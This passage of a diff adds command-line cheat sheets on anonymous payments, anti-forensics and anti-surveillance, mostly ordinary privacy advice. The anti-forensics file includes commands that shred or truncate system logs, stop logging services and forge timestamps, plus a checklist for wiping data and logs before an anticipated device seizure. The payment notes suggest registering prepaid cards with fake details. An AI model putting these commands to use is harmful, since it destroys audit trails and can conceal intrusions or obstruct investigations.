+# - Use for online purchases
+# - Not directly linked to identity
+
+# Visa/Mastercard prepaid gift cards
+# - Can be used anywhere cards accepted
+# - Buy with cash
+# - Register with fake info (if required)
+
+# Store-specific gift cards
+# - Amazon, Target, Walmart, etc.
+# - Buy with cash
+# - Use for online purchases
+
+# Resell gift cards for crypto
+# - Paxful, LocalBitcoins (sell gift cards for BTC)
+# - CoinCola, Coincards (crypto for gift cards)
+
+# ============================================================================
+# MIXING SERVICES (BITCOIN TUMBLERS)
+# ============================================================================
+
+# WARNING: Mixing services can be scams
+# Use with extreme caution, only trusted services
+
+# Bitcoin mixers/tumblers
+# - ChipMixer (discontinued)
+# - Tornado Cash (Ethereum mixer, sanctioned by US)
+# - Prefer CoinJoin over centralized mixers
+
+# How mixers work
+# 1. Send Bitcoin to mixer
+# 2. Mixer pools coins with other users
+# 3. Mixer sends back different coins (untraceable)
+
+# Risks
+# - Mixer can steal funds
+# - Mixer may keep logs (law enforcement)
+# - Receiving "tainted" coins (from illicit sources)
+
+# Recommendation
+# - Use CoinJoin (Wasabi, Samourai) instead of mixers
+# - Or use Monero (privacy by default)
+
+# ============================================================================
+# CRYPTOCURRENCY OPSEC
+# ============================================================================
+
+# Never reuse addresses
+# Generate new Bitcoin address for each transaction
+
+# Use separate wallets
+# Hot wallet (online, small amounts)
+# Cold wallet (offline, savings)
+# Mixing wallet (CoinJoin)
+
+# Avoid exchanges with KYC
+# No-KYC exchanges: Bisq, LocalMonero, Hodl Hodl
+
+# Use Tor with crypto wallets
+# Hides IP address from blockchain nodes
+# Wasabi Wallet has built-in Tor support
+
+# Don't link identity to crypto
+# Don't post wallet addresses publicly
+# Don't use exchange-provided addresses for public transactions
+
+# Hardware wallets (secure storage)
+# - Trezor - https://trezor.io/
+# - Ledger - https://www.ledger.com/
+# - ColdCard - https://coldcard.com/ (Bitcoin-only, very secure)
+
+# ============================================================================
+# BUYING CRYPTO WITHOUT KYC
+# ============================================================================
+
+# P2P exchanges (no ID required)
+# - LocalMonero - https://localmonero.co/ (Monero)
+# - LocalCoinSwap - https://localcoinswap.com/ (various cryptos)
+# - Bisq - https://bisq.network/ (decentralized, Bitcoin)
+# - HodlHodl - https://hodlhodl.com/ (Bitcoin)
+
+# Bitcoin ATMs (some no-KYC)
+# - Find ATMs: https://coinatmradar.com/
+# - Buy with cash (some limit amounts before KYC)
+# - Fees: 5-15% (high, but anonymous)
+
+# In-person trades
+# - LocalBitcoins (meet in person)
+# - Bitcoin Meetups (local community)
+# - Use escrow (safety measure)
+
+# Mining (no KYC)
+# Mine your own cryptocurrency
+# No exchange, no identity linkage
+# Requires hardware, technical knowledge
+
+# ============================================================================
+# ALTERNATIVE PRIVACY COINS
+# ============================================================================
+
+# Zcash (ZEC)
+# - Optional privacy (shielded transactions)
+# - Z-address (private), T-address (transparent)
+# - Less private than Monero (optional, not default)
+
+# Dash (DASH)
+# - PrivateSend feature (mixing)
+# - Not as strong as Monero
+# - More like Bitcoin with mixing
+
+# Litecoin with MimbleWimble (LTC)
+# - Extension Block (MWEB) for privacy
+# - Optional privacy layer
+
+# Why Monero is preferred
+# - Privacy by default (not optional)
+# - Proven track record
+# - Large community, good liquidity
+
+# ============================================================================
+# CRYPTO PAYMENT BEST PRACTICES
+# ============================================================================
+
+# For maximum privacy
+# 1. Buy XMR with cash (LocalMonero, ATM)
+# 2. Store in self-hosted wallet (not exchange)
+# 3. Use Tor when transacting
+# 4. Don't link to real identity
+
+# For moderate privacy
+# 1. Buy BTC with minimal KYC
+# 2. CoinJoin with Wasabi/Samourai
+# 3. Use Lightning Network when possible
+# 4. Use new address for each transaction
+
+# For convenience with some privacy
+# 1. Use Privacy.com virtual cards
+# 2. Buy gift cards with cash
+# 3. Use prepaid debit cards
+
+# ============================================================================
+# ACCEPTING PAYMENTS ANONYMOUSLY
+# ============================================================================
+
+# Accept Monero (maximum privacy)
+# - Set up Monero wallet
+# - Share wallet address with customers
+# - No third-party processor needed
+
+# BTCPay Server (self-hosted Bitcoin/Monero payment processor)
+# - Accept BTC, Lightning, Monero
+# - No KYC, self-hosted
+# - https://btcpayserver.org/
+
+# Install BTCPay (Docker)
+git clone https://github.com/btcpayserver/btcpayserver-docker
+cd btcpayserver-docker
+./btcpay-setup.sh -i
+
+# ============================================================================
+# TAX IMPLICATIONS (KNOW YOUR LAWS)
+# ============================================================================
+
+# WARNING: Cryptocurrency taxation varies by country
+# Consult tax professional for compliance
+
+# US tax treatment
+# - Cryptocurrency = property (IRS)
+# - Capital gains tax on profits
+# - Reporting required for transactions
+
+# Privacy coins and tax
+# - Even private transactions may be taxable
+# - Failure to report = tax evasion (criminal offense)
+
+# Legal anonymous payments
+# - Privacy ≠ tax evasion
+# - You can prioritize privacy while complying with law
+# - Keep records (even if transactions private)
+
+# ============================================================================
+# COMPARISON: PAYMENT METHODS
+# ============================================================================
+
+# Cash
+# Pros: Completely private, untraceable
+# Cons: Physical only, limited online use
+
+# Monero
+# Pros: Private by default, works online, global
+# Cons: Limited merchant acceptance, learning curve
+
+# Bitcoin + CoinJoin
+# Pros: Better privacy than plain Bitcoin, widely accepted
+# Cons: Not as private as Monero, requires effort
+
+# Privacy.com
+# Pros: Easy to use, merchant privacy, fraud protection
+# Cons: Privacy.com knows everything, US-only
+
+# Gift cards
+# Pros: Pseudo-anonymous, widely accepted
+# Cons: Limited value, not truly anonymous, fees
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Monero
+# Official site: https://www.getmonero.org/
+# Monero documentation: https://www.getmonero.org/resources/user-guides/
+# LocalMonero: https://localmonero.co/
+
+# Bitcoin privacy
+# Wasabi Wallet: https://wasabiwallet.io/
+# Samourai Wallet: https://samouraiwallet.com/
+# Lightning Network: https://lightning.network/
+
+# Payment privacy
+# Privacy.com: https://privacy.com/
+# BTCPay Server: https://btcpayserver.org/
+
+# Education
+# Bitcoin Privacy Guide: https://bitcoinprivacy.guide/
+# Monero Means Money (documentary): https://www.moneromeans.money/
+# MASTERING MONERO (book): https://masteringmonero.com/
+
+# Communities
+# r/Monero (Reddit)
+# r/WasabiWallet (Reddit)
+# r/Bitcoin (Reddit - privacy discussions)
+

anti-forensics.cheat

@@ -0,0 +1,594 @@
+% anti-forensics, counter-forensics, evidence-elimination, privacy-defense
+
+# ============================================================================
+# ANTI-FORENSICS OVERVIEW
+# ============================================================================
+
+# Anti-forensics definition
+# Techniques to prevent, detect, or defeat forensic analysis
+# Goal: Protect privacy, not facilitate illegal activity
+
+# Legal considerations
+# Anti-forensics for privacy is legal in most jurisdictions
+# Destruction of evidence under investigation = illegal
+# Know your local laws
+
+# Forensic process (what we're defending against)
+# 1. Acquisition: Creating forensic image of device
+# 2. Preservation: Maintaining evidence integrity
+# 3. Analysis: Examining data, recovering deleted files
+# 4. Reporting: Documenting findings
+
+# Anti-forensic categories
+# 1. Data hiding (encryption, steganography)
+# 2. Data destruction (secure deletion, wiping)
+# 3. Trail obfuscation (log clearing, timestamp manipulation)
+# 4. Attack against forensic tools
+
+# ============================================================================
+# ENCRYPTION (FIRST LINE OF DEFENSE)
+# ============================================================================
+
+# Full disk encryption (FDE)
+# Makes forensic acquisition useless without passphrase
+# See veracrypt.cheat for detailed guide
+
+# LUKS encryption (Linux)
+sudo cryptsetup luksFormat /dev/sdX
+sudo cryptsetup luksOpen /dev/sdX encrypted_drive
+
+# Check if drive is encrypted
+lsblk -f
+
+# File encryption
+# See gpg.cheat, age.cheat for file-level encryption
+
+# Encrypted containers (VeraCrypt)
+# Hidden volumes (plausible deniability)
+# See veracrypt.cheat
+
+# ============================================================================
+# SECURE FILE DELETION
+# ============================================================================
+
+# Comprehensive secure deletion guide
+# See secure-deletion.cheat for full details
+
+# Quick secure delete
+shred -vfz -n 3 <file>
+$ file: echo "sensitive.txt"
+
+# Wipe free space (removes "deleted" files)
+sfill -v /home/
+
+# Clear file system journal
+# Ext4 journal may contain file fragments
+sudo debugfs -w /dev/sdX -R "zap_journal"
+
+# ============================================================================
+# METADATA REMOVAL
+# ============================================================================
+
+# Remove file metadata (see metadata-removal.cheat)
+exiftool -all= <file>
+$ file: echo -e "document.pdf\\nphoto.jpg"
+
+# Metadata in file systems
+# Access time (atime), modify time (mtime), change time (ctime)
+
+# Disable atime updates (reduces forensic artifacts)
+sudo mount -o remount,noatime /
+
+# Make permanent in /etc/fstab
+# /dev/sdX  /mount_point  ext4  defaults,noatime  0  2
+
+# Touch file to change timestamps
+touch -t <timestamp> <file>
+$ timestamp: echo "202501010000"
+$ file: echo "document.txt"
+
+# ============================================================================
+# LOG FILE MANAGEMENT
+# ============================================================================
+
+# System logs (forensic goldmine)
+# /var/log/ - main log directory
+# /var/log/auth.log - authentication attempts
+# /var/log/syslog - system events
+# ~/.bash_history - command history
+
+# Clear bash history
+history -c
+rm ~/.bash_history
+
+# Disable bash history for session
+unset HISTFILE
+
+# Clear systemd journal logs
+sudo journalctl --vacuum-time=1d
+sudo journalctl --vacuum-size=10M
+
+# Clear specific log files
+sudo truncate -s 0 /var/log/auth.log
+sudo truncate -s 0 /var/log/syslog
+
+# Disable logging temporarily (dangerous!)
+sudo systemctl stop rsyslog
+sudo systemctl stop systemd-journald
+
+# Shred log files
+sudo find /var/log -type f -exec shred -vfz -n 1 {} \\;
+
+# ============================================================================
+# BROWSER FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Browser artifacts
+# - History (URLs visited)
+# - Cache (page content, images)
+# - Cookies (tracking, session data)
+# - Downloads (file list, sources)
+# - Form data (autofill information)
+# - Passwords (encrypted, but vulnerable)
+
+# Clear Firefox data
+rm -rf ~/.mozilla/firefox/*/cache2/*
+rm -rf ~/.mozilla/firefox/*/cookies.sqlite
+rm -rf ~/.mozilla/firefox/*/places.sqlite
+
+# Or use browser settings
+# CTRL+SHIFT+DEL → Everything → Clear Now
+
+# Use private browsing mode
+# Firefox: CTRL+SHIFT+P
+# Chrome: CTRL+SHIFT+N
+
+# Better: Use Tor Browser (see tor.cheat)
+# No local forensic artifacts
+
+# ============================================================================
+# MEMORY (RAM) FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Cold boot attacks
+# RAM retains data briefly after power off
+# Forensic tools can capture RAM contents
+
+# Defense: Overwrite RAM on shutdown
+# Create shutdown script
+sudo nano /etc/systemd/system/wipe-ram.service
+
+# Add:
+# [Unit]
+# Description=Wipe RAM on shutdown
+# DefaultDependencies=no
+# Before=shutdown.target
+#
+# [Service]
+# Type=oneshot
+# ExecStart=/usr/bin/sdmem -v
+#
+# [Install]
+# WantedBy=shutdown.target
+
+sudo systemctl enable wipe-ram.service
+
+# Clear swap partition
+sudo swapoff -a
+sudo swapon -a
+
+# Disable swap (prevents disk-based RAM recovery)
+sudo swapoff -a
+sudo rm /swapfile
+# Comment out swap line in /etc/fstab
+
+# ============================================================================
+# NETWORK FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Network logs contain
+# - IP addresses
+# - DNS queries
+# - Connection timestamps
+# - Protocols used
+
+# VPN (hides traffic from ISP)
+# See vpn.cheat (to be created)
+
+# Tor (anonymizes network traffic)
+# See tor.cheat
+
+# DNS encryption
+# Prevents ISP from logging DNS queries
+# Use DoH (DNS-over-HTTPS) or DoT (DNS-over-TLS)
+
+# Clear DNS cache
+sudo systemd-resolve --flush-caches
+
+# Disable network history (NetworkManager)
+sudo nano /etc/NetworkManager/NetworkManager.conf
+# Add:
+# [main]
+# no-auto-default=*
+
+# ============================================================================
+# FILE SYSTEM ANTI-FORENSICS
+# ============================================================================
+
+# File carving
+# Forensic technique to recover files without file system metadata
+# Defense: Overwrite free space
+
+# Wipe free space
+cat /dev/urandom > /tmp/wipefile
+rm /tmp/wipefile
+
+# Or use sfill
+sfill -v /home/
+
+# File system timestamps
+# atime (access), mtime (modify), ctime (change)
+# Forensic examiners use timestamps to build timeline
+
+# Modify timestamps (anti-forensic tactic)
+touch -a -t 202001010000 <file>  # Change access time
+touch -m -t 202001010000 <file>  # Change modify time
+
+# timestomp (Metasploit)
+# Copies timestamps from one file to another
+
+# ============================================================================
+# SLACK SPACE & UNALLOCATED SPACE
+# ============================================================================
+
+# Slack space
+# Unused space between end of file and end of cluster
+# May contain remnants of previous files
+
+# Wipe slack space
+# No simple tool, requires specialized software
+# Best defense: Full disk encryption
+
+# Unallocated space
+# "Deleted" files live here until overwritten
+# Recovered by forensic tools (PhotoRec, Foremost)
+
+# Wipe unallocated space
+sfill -v /mount/point/
+
+# ============================================================================
+# STEGANOGRAPHY (DATA HIDING)
+# ============================================================================
+
+# Hide data in images
+# Install steghide
+sudo apt install steghide
+
+# Hide file in image
+steghide embed -cf cover.jpg -ef secret.txt -p <passphrase>
+$ passphrase: echo "StrongPassword123"
+
+# Extract hidden file
+steghide extract -sf cover.jpg -p <passphrase>
+$ passphrase: echo "StrongPassword123"
+
+# Check for hidden data (steganalysis)
+steghide info cover.jpg
+
+# Other steganography tools
+# outguess - statistical steganography
+# stegosaurus - Python-based stego tool
+
+# ============================================================================
+# PLAUSIBLE DENIABILITY
+# ============================================================================
+
+# Hidden volumes (VeraCrypt)
+# Encrypted volume within encrypted volume
+# See veracrypt.cheat for setup
+
+# Concept
+# Outer volume: Decoy data (less sensitive)
+# Hidden volume: Real secrets
+# Under duress, reveal outer volume password only
+
+# Requirements
+# - Strong passwords for both volumes
+# - Careful not to overwrite hidden volume
+# - Realistic decoy data
+
+# ============================================================================
+# ANTI-FORENSIC OPERATING SYSTEMS
+# ============================================================================
+
+# Tails (The Amnesiac Incognito Live System)
+# Leaves no trace on computer
+# See secure-os.cheat for full guide
+
+# Key anti-forensic features
+# - Runs from USB (no installation)
+# - RAM-only (no disk writes)
+# - Secure deletion tools included
+# - Tor routing (network anonymity)
+
+# Use case: Maximum anti-forensics
+# Boot Tails, do work, shutdown
+# No artifacts on host computer
+
+# ============================================================================
+# SECURE COMMUNICATION (AVOIDING FORENSIC TRAILS)
+# ============================================================================
+
+# Disappearing messages
+# Signal: Settings → Privacy → Disappearing messages → Enable
+# Set timer: 5 seconds to 1 week
+
+# E2EE messaging (see opsec.cheat)
+# Signal, Element/Matrix, Wire
+# Even if seized, messages unreadable
+
+# Encrypted email
+# ProtonMail, Tutanota (see email-privacy.cheat)
+# PGP/GPG encryption (see gpg.cheat)
+
+# ============================================================================
+# DEFEATING FILE RECOVERY TOOLS
+# ============================================================================
+
+# Common forensic recovery tools
+# - PhotoRec (file carving)
+# - Foremost (signature-based recovery)
+# - TestDisk (partition recovery)
+# - Autopsy (forensic analysis suite)
+# - Sleuth Kit (command-line forensics)
+
+# Defenses
+# 1. Secure deletion (shred, wipe, srm)
+# 2. Encryption (LUKS, VeraCrypt)
+# 3. Wipe free space (sfill)
+# 4. Overwrite multiple times (7-35 passes for HDDs)
+
+# Test recovery yourself
+# Delete file → Attempt recovery with PhotoRec
+# If successful, your deletion wasn't secure enough
+
+# ============================================================================
+# LIVE SYSTEM FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Live forensic acquisition
+# Examiner boots seized device to extract data
+
+# Defenses
+# 1. Full disk encryption (forces examiner to ask for password)
+# 2. Encrypted bootloader (GRUB password)
+# 3. Auto-wipe on tamper (advanced, risky)
+
+# GRUB password (boot protection)
+# Prevents booting without password
+sudo nano /etc/grub.d/40_custom
+
+# Add:
+# set superusers="root"
+# password root <password_hash>
+
+# Generate password hash
+grub-mkpasswd-pbkdf2
+
+# Update GRUB
+sudo update-grub
+
+# ============================================================================
+# TIMELINE ANTI-FORENSICS
+# ============================================================================
+
+# Forensic timeline analysis
+# Examiners create timeline of activity using timestamps
+# Goal: Understand "what happened when"
+
+# Anti-forensic tactics
+# 1. Timestamp manipulation (touch command)
+# 2. Clock tampering (change system time)
+# 3. Disable atime updates
+
+# Change system time (temporary)
+sudo date -s "2020-01-01 00:00:00"
+
+# Restore correct time
+sudo ntpdate pool.ntp.org
+
+# ============================================================================
+# MOBILE DEVICE FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Mobile forensics (iOS/Android)
+# Tools: Cellebrite, GrayKey, XRY
+
+# Defenses
+# 1. Strong passcode (10+ digits, alphanumeric)
+# 2. Biometric + passcode (both required)
+# 3. Enable encryption (default on modern devices)
+# 4. Disable USB accessories when locked
+# 5. Faraday bag (prevents remote wipe prevention)
+
+# iOS hardening
+# Settings → Face ID & Passcode → Require passcode immediately
+# Settings → Face ID & Passcode → USB Accessories (OFF when locked)
+
+# Android hardening
+# Settings → Security → Screen lock → Password (not pattern/PIN)
+# Settings → Developer options → USB debugging (OFF)
+
+# Emergency wipe
+# iOS: Wrong passcode 10 times = wipe (if enabled)
+# Android: Varies by device
+
+# ============================================================================
+# CLOUD FORENSICS COUNTERMEASURES
+# ============================================================================
+
+# Cloud storage forensics
+# Examiner can subpoena cloud provider
+# Provider complies, provides data
+
+# Defenses
+# 1. Client-side encryption (encrypt before upload)
+# 2. Use privacy-focused providers (ProtonDrive, Tresorit)
+# 3. Don't rely on cloud provider "encryption" (they have keys)
+
+# Encrypt before uploading
+gpg --encrypt --recipient you@example.com file.txt
+# Upload file.txt.gpg to cloud
+
+# ============================================================================
+# COUNTER-FORENSIC TOOLS
+# ============================================================================
+
+# Secure deletion
+# shred, wipe, srm - See secure-deletion.cheat
+
+# Metadata removal
+# exiftool, mat2 - See metadata-removal.cheat
+
+# Memory wiping
+# sdmem (secure-delete package)
+sdmem -v
+
+# Forensic cleaner (BleachBit)
+sudo apt install bleachbit
+bleachbit --clean system.* firefox.*
+
+# Timestomp (change file timestamps)
+# Part of Metasploit Framework
+
+# ============================================================================
+# ANTI-FORENSIC WORKFLOW (HIGH SECURITY)
+# ============================================================================
+
+# Daily operations
+# 1. Use Tails or full disk encryption
+# 2. Encrypt all sensitive files (GPG/age)
+# 3. Clear browser data after each session
+# 4. Use disappearing messages
+# 5. Avoid logging (private browsing, no bash history)
+
+# Before device seizure (if anticipated)
+# 1. Wipe free space (sfill)
+# 2. Securely delete sensitive files (shred)
+# 3. Clear all logs
+# 4. Overwrite swap/RAM
+# 5. Factory reset (if necessary)
+
+# Emergency (device seizure imminent)
+# 1. Shut down (don't sleep/hibernate)
+# 2. Remove batteries (if possible)
+# 3. Invoke right to remain silent
+# 4. Request attorney
+
+# ============================================================================
+# FORENSIC AWARENESS (KNOW YOUR ENEMY)
+# ============================================================================
+
+# Learn forensics to defend against it
+# Practice with forensic tools (on your own data)
+# Understand what examiners look for
+
+# Forensic training
+# SANS FOR500 (Windows Forensics)
+# SANS FOR518 (Mac Forensics)
+# TCM Security courses
+
+# Open-source forensic tools (practice)
+# Autopsy - https://www.autopsy.com/
+# Volatility - Memory forensics
+# Sleuth Kit - File system analysis
+
+# Test your defenses
+# Delete sensitive file, attempt recovery
+# If successful, improve deletion method
+
+# ============================================================================
+# LEGAL & ETHICAL CONSIDERATIONS
+# ============================================================================
+
+# When anti-forensics is legal
+# - Privacy protection
+# - Secure business data
+# - Preventing corporate espionage
+# - General security best practices
+
+# When anti-forensics is illegal
+# - Destroying evidence under subpoena
+# - Obstruction of justice during investigation
+# - Violating discovery obligations (civil litigation)
+
+# Know your rights
+# Right to remain silent (5th Amendment, US)
+# Right to refuse password disclosure (varies by country)
+# Right to attorney
+
+# ============================================================================
+# ANTI-FORENSIC CHECKLIST
+# ============================================================================
+
+# Prevention (before any investigation)
+# [ ] Full disk encryption enabled
+# [ ] Secure deletion tools configured
+# [ ] Regular log clearing routine
+# [ ] Metadata removal workflow
+# [ ] Encrypted backups
+# [ ] Disappearing messages enabled
+
+# Detection (is forensic exam happening?)
+# [ ] Watch for suspicious activity
+# [ ] Check for unusual process
+# [ ] Monitor network connections
+# [ ] Physical security (tamper evidence)
+
+# Response (forensic exam suspected/happening)
+# [ ] Shut down cleanly (if time permits)
+# [ ] Invoke legal rights (attorney, silence)
+# [ ] Document everything
+# [ ] Do not consent to searches (unless legally required)
+
+# ============================================================================
+# MISTAKES TO AVOID
+# ============================================================================
+
+# ❌ Deleting files with regular rm
+# ✅ Use shred/wipe/srm
+
+# ❌ Thinking "Delete" removes data
+# ✅ Secure deletion + wipe free space
+
+# ❌ Relying on encryption alone
+# ✅ Encryption + secure deletion + log clearing
+
+# ❌ Panicking and making mistakes
+# ✅ Have pre-planned response procedure
+
+# ❌ Talking to investigators without attorney
+# ✅ Exercise right to remain silent
+
+# ❌ Forgetting about cloud/backup forensics
+# ✅ Encrypt before upload, control backups
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Books
+# "File System Forensic Analysis" by Brian Carrier
+# "The Art of Memory Forensics" by Ligh et al.
+# "Practical Forensic Imaging" by Bruce Nikkel
+
+# Tools
+# Autopsy: https://www.autopsy.com/
+# Sleuth Kit: https://www.sleuthkit.org/
+# Volatility: https://www.volatilityfoundation.org/
+
+# Learning
+# SANS Digital Forensics courses
+# TCM Security Practical Forensics
+# DFIR Training: https://www.dfir.training/
+

anti-surveillance.cheat

@@ -0,0 +1,510 @@
+% anti-surveillance, counter-surveillance, privacy, anonymity, tracking
+
+# ============================================================================
+# UNDERSTANDING SURVEILLANCE
+# ============================================================================
+
+# Types of surveillance
+# - Mass surveillance (NSA, Five Eyes, PRISM)
+# - Targeted surveillance (law enforcement, private investigators)
+# - Corporate surveillance (ad tech, data brokers, analytics)
+# - State surveillance (oppressive regimes, censorship)
+# - Interpersonal surveillance (stalkers, abusers)
+
+# Surveillance vectors
+# - Network monitoring (ISP, VPN, Tor exit nodes)
+# - Device tracking (GPS, cell towers, WiFi/Bluetooth beacons)
+# - Behavioral tracking (cookies, fingerprinting, analytics)
+# - Physical surveillance (CCTV, license plate readers)
+# - Social surveillance (social media, contacts, metadata)
+# - Biometric surveillance (facial recognition, gait analysis)
+
+# ============================================================================
+# NETWORK ANTI-SURVEILLANCE
+# ============================================================================
+
+# VPN (Virtual Private Network)
+# Hides traffic from ISP, not from VPN provider
+# Choose no-logs VPN: Mullvad, IVPN, ProtonVPN
+
+# Install and connect to VPN
+sudo apt install openvpn
+sudo openvpn --config vpn_config.ovpn
+
+# Check VPN connection
+curl ifconfig.me
+
+# Tor (The Onion Router)
+# Multi-hop encryption, anonymity network
+# See tor.cheat for full Tor guide
+
+# Start Tor
+sudo systemctl start tor
+
+# Route traffic through Tor
+torsocks <command>
+$ command: echo -e "curl https://check.torproject.org\\nwget https://example.com"
+
+# I2P (Invisible Internet Project)
+# Anonymous network layer, decentralized
+# Install: https://geti2p.net/
+
+# DNS encryption (prevent ISP DNS spying)
+# DNS-over-HTTPS (DoH)
+# Firefox: about:config → network.trr.mode = 2
+
+# DNS-over-TLS (DoT) with systemd-resolved
+sudo nano /etc/systemd/resolved.conf
+# DNS=1.1.1.1 1.0.0.1
+# DNSOverTLS=yes
+sudo systemctl restart systemd-resolved
+
+# dnscrypt-proxy (encrypted DNS)
+sudo apt install dnscrypt-proxy
+sudo systemctl enable dnscrypt-proxy
+sudo systemctl start dnscrypt-proxy
+
+# ============================================================================
+# DEVICE TRACKING PREVENTION
+# ============================================================================
+
+# GPS tracking (smartphones)
+# Disable location services when not needed
+# Android: Settings → Location → Off
+# iOS: Settings → Privacy → Location Services → Off
+
+# Airplane mode (disables all radios)
+# Prevents: Cell tower, WiFi, Bluetooth, NFC tracking
+
+# Remove battery (older phones)
+# Only true way to ensure phone is off
+
+# Faraday bag/pouch
+# Blocks all electromagnetic signals
+# Test with: call phone while in bag (shouldn't ring)
+
+# MAC address randomization
+# Prevents WiFi tracking
+
+# Linux (NetworkManager)
+sudo nano /etc/NetworkManager/conf.d/wifi-random-mac.conf
+# [device]
+# wifi.scan-rand-mac-address=yes
+# [connection]
+# wifi.cloned-mac-address=random
+
+# macOS
+# System Preferences → Network → Advanced → Use private Wi-Fi address
+
+# Android
+# Settings → Network & Internet → WiFi → WiFi preferences → Use randomized MAC
+
+# Bluetooth tracking prevention
+# Disable Bluetooth when not in use
+# Randomize Bluetooth MAC if possible
+
+# ============================================================================
+# BROWSER ANTI-SURVEILLANCE
+# ============================================================================
+
+# Browser fingerprinting defense
+# See browser-hardening.cheat for full guide
+
+# Essential settings
+# - Block third-party cookies
+# - Enable tracking protection
+# - Disable WebRTC (IP leak)
+# - Use uBlock Origin
+# - Enable HTTPS-only mode
+
+# Test fingerprint uniqueness
+# EFF Cover Your Tracks: https://coveryourtracks.eff.org/
+
+# Browser isolation (containers)
+# Firefox Multi-Account Containers
+# Separate: Banking, Shopping, Social, Work, Anonymous
+
+# Clear cookies on exit
+# Settings → Privacy → Cookies → Delete on close
+
+# ============================================================================
+# PHYSICAL SURVEILLANCE COUNTERMEASURES
+# ============================================================================
+
+# Camera covering
+# Laptop: Webcam cover, tape, slide cover
+# Phone: Remove when not in video call
+
+# Microphone disabling
+# BIOS disable (if available)
+# Physical disconnect (advanced)
+# Ultrasonic tracking defense (inaudible ads)
+
+# RFID blocking
+# Credit cards: RFID-blocking wallet
+# Passport: RFID sleeve
+# Key fobs: Faraday pouch
+
+# Gait analysis defense
+# Put pebble in shoe (changes walk pattern)
+# Reflective/IR-blocking clothing
+
+# Facial recognition defense
+# Face masks, sunglasses, hats
+# CV Dazzle (makeup patterns)
+# Adversarial fashion (pattern clothing)
+# IR LEDs (invisible to eye, blind cameras)
+
+# License plate tracking
+# No perfect solution (illegal to obscure)
+# PhotoBlocker spray (questionable effectiveness)
+# Avoid toll roads/automated systems when possible
+
+# ============================================================================
+# SOCIAL MEDIA ANTI-SURVEILLANCE
+# ============================================================================
+
+# Privacy settings (maximum)
+# Facebook: Settings → Privacy → Friends only
+# Instagram: Private account, disable tagging
+# Twitter: Protected tweets, disable location
+# LinkedIn: Limit profile visibility
+
+# Disable location tagging
+# Don't post real-time location
+# Wait until you've left before posting
+
+# Limit personal information
+# Don't share: phone, address, workplace, school, family
+# Use fake birthday (security questions)
+
+# Review tagged photos
+# Untag yourself from compromising photos
+# Enable tag approval before appearing on profile
+
+# Remove metadata from photos before posting
+# See metadata-removal.cheat
+exiftool -all= photo.jpg
+
+# ============================================================================
+# SMARTPHONE HARDENING
+# ============================================================================
+
+# GrapheneOS (privacy-focused Android)
+# Install on Pixel devices
+# https://grapheneos.org/
+
+# CalyxOS (privacy Android alternative)
+# https://calyxos.org/
+
+# LineageOS (de-Googled Android)
+# https://lineageos.org/
+
+# iOS privacy settings
+# Settings → Privacy → Tracking → Ask App Not to Track
+# Settings → Privacy → Analytics → Share iPhone Analytics (OFF)
+
+# Android privacy settings
+# Settings → Google → Manage your Google Account → Data & privacy
+# Turn off: Location History, Web & App Activity
+
+# Disable app permissions
+# Review: Location, Camera, Microphone, Contacts
+# Only grant when needed
+
+# App alternatives (privacy-focused)
+# Maps: OsmAnd, Organic Maps
+# Keyboard: AnySoftKeyboard, OpenBoard
+# Browser: Mull (Firefox), Brave
+# Messaging: Signal, Element
+# Email: K-9 Mail (with ProtonMail)
+
+# ============================================================================
+# OPERATING SYSTEM HARDENING
+# ============================================================================
+
+# Privacy-focused Linux distros
+# Tails (amnesiac, Tor-based): https://tails.boum.org/
+# Whonix (Tor workstation): https://www.whonix.org/
+# Qubes OS (security by isolation): https://www.qubes-os.org/
+
+# Disable telemetry (Ubuntu)
+ubuntu-report -f send no
+
+# Disable telemetry (Windows)
+# Settings → Privacy → Diagnostics & feedback → Off
+
+# macOS privacy
+# System Preferences → Security & Privacy → Privacy
+# Disable: Location Services (when not needed), Analytics
+
+# Firewall (block outbound connections)
+sudo ufw enable
+sudo ufw default deny outgoing
+sudo ufw allow out to any port 443
+sudo ufw allow out to any port 80
+
+# Hosts file blocking (ad/tracker domains)
+sudo curl -o /etc/hosts https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts
+
+# Pi-hole (network-wide ad/tracker blocking)
+# Install on Raspberry Pi or Docker
+# https://pi-hole.net/
+
+# ============================================================================
+# EMAIL ANTI-SURVEILLANCE
+# ============================================================================
+
+# Encrypted email providers
+# ProtonMail: https://proton.me/mail
+# Tutanota: https://tutanota.com/
+# Mailfence: https://mailfence.com/
+
+# Email aliasing (hide real address)
+# SimpleLogin: https://simplelogin.io/
+# AnonAddy: https://anonaddy.com/
+# Apple Hide My Email
+# Firefox Relay: https://relay.firefox.com/
+
+# PGP/GPG encryption
+# See gpg.cheat for full guide
+gpg --gen-key
+gpg --armor --export email@example.com > public_key.asc
+
+# Temporary/disposable email
+# 10 Minute Mail: https://10minutemail.com/
+# Guerrilla Mail: https://www.guerrillamail.com/
+# Temp Mail: https://temp-mail.org/
+
+# ============================================================================
+# MESSAGING ANTI-SURVEILLANCE
+# ============================================================================
+
+# Secure messaging (E2EE)
+# Signal (best all-around): https://signal.org/
+# Element/Matrix (federated): https://element.io/
+# Wire (business-friendly): https://wire.com/
+
+# Signal hardening
+# Enable registration lock (PIN)
+# Enable disappearing messages (default)
+# Enable screen security (no screenshots)
+# Disable link previews
+
+# Metadata resistance
+# Signal sealed sender (hides sender metadata)
+# Session (no phone number required)
+
+# Anonymous messaging
+# Ricochet Refresh (Tor-based): https://www.ricochetrefresh.net/
+# Briar (peer-to-peer): https://briarproject.org/
+
+# ============================================================================
+# SEARCH ENGINE PRIVACY
+# ============================================================================
+
+# Private search engines
+# DuckDuckGo: https://duckduckgo.com/
+# Startpage: https://www.startpage.com/
+# Searx (self-hosted): https://searx.space/
+# Brave Search: https://search.brave.com/
+
+# Search without logging in
+# Use private/incognito mode
+# Clear cookies after each session
+
+# Avoid Google (if possible)
+# Google tracks all searches (even logged out)
+# Builds profile based on IP, cookies, fingerprint
+
+# ============================================================================
+# PAYMENT PRIVACY
+# ============================================================================
+
+# Cash (most private)
+# No digital trail
+# Untraceable
+
+# Cryptocurrency (pseudo-anonymous)
+# Monero (privacy-focused): https://www.getmonero.org/
